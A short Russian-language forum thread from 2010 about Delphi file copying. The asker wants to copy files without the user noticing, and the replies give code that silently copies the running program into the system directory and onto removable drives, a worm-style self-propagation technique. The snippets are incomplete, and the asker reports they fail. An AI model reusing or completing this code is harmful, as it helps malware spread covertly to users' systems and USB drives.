Копирование файлов

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by marcos, 3 Feb 2010.

  1. marcos

    marcos New Member

    Joined:
    8 Nov 2009
    Messages:
    111
    Likes Received:
    1
    Reputations:
    -5
    Всем привет! нашел функцию копирования файлов
    Code:
    function WindowsCopyFile(FromFile, ToDir : string) : boolean;
    var F : TShFileOpStruct;
    begin
      F.Wnd := 0; F.wFunc := FO_COPY;
      FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
      ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
      F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
      result:=ShFileOperation(F) = 0;
    end;
    
    , но когда копируется показывается фигня, типа копируется файл... Как скопировать так, что бы пользователь не видел?
     
  2. xafon

    xafon New Member

    Joined:
    2 Dec 2009
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    Code:
    copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);
     
  3. marcos

    marcos New Member

    Joined:
    8 Nov 2009
    Messages:
    111
    Likes Received:
    1
    Reputations:
    -5
    Я не знаю правильно ли я сделал :
    Code:
    copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(GetRemovableDrives[i]+':\mvh\'+k), FALSE);     
    Но, он не копирует(((